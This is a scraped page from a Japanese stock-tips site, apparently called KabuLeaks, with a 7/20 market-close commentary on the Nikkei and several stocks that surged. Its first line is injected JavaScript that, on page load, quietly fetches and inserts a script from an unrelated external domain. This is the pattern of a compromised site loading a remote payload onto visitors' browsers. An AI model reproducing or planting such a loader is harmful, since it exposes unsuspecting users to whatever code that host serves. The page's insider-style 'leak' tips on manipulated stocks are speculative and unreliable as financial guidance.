;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/20 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【7/20 大引け】

本日の日経平均株価は41円安と7日ぶり反落。後場は下げ幅縮小と政策・緩和期待が下値を支え、引けにかけて上昇で小幅安に。業別では、建設業、不動産業、陸運業が値上がり上位に。一方でその他製品、証券商品先物、鉱業などが値下がり上位となった。

個別では、株式分割を発表した【3189ANAPや任天堂を含め関連銘柄が軒並み下げるなか大株主、任天堂の電子部品サプライヤーとしての思惑が強い【6658】シライ電子工業などがストップ高まで上昇。また、前日ストップ高の【9425】日本テレホンや関節リウマチに対する新検査サービス「リウマチェック3」の開始を発表した【2397】DNAチップ研究所が急伸、大幅高となった。その他、越境EC関連の【6081】アライドアーキテクツ、上方修正・増配発表の【2169】CDSなども買い優勢となった。

明日も引き続き月末に控えるFOMC、日銀会合など控え上値が重い展開が続きそうだが、政府による大規模な財政政策や日銀の追加金融緩和などに対する期待感も大きいだけにしばらくは下値も堅いかとは思う。物色は決算を睨んだ個別物色中心のほか、本日は上昇一服となった【7974】任天堂やその関連銘柄など継続して狙っていくと良いと思う。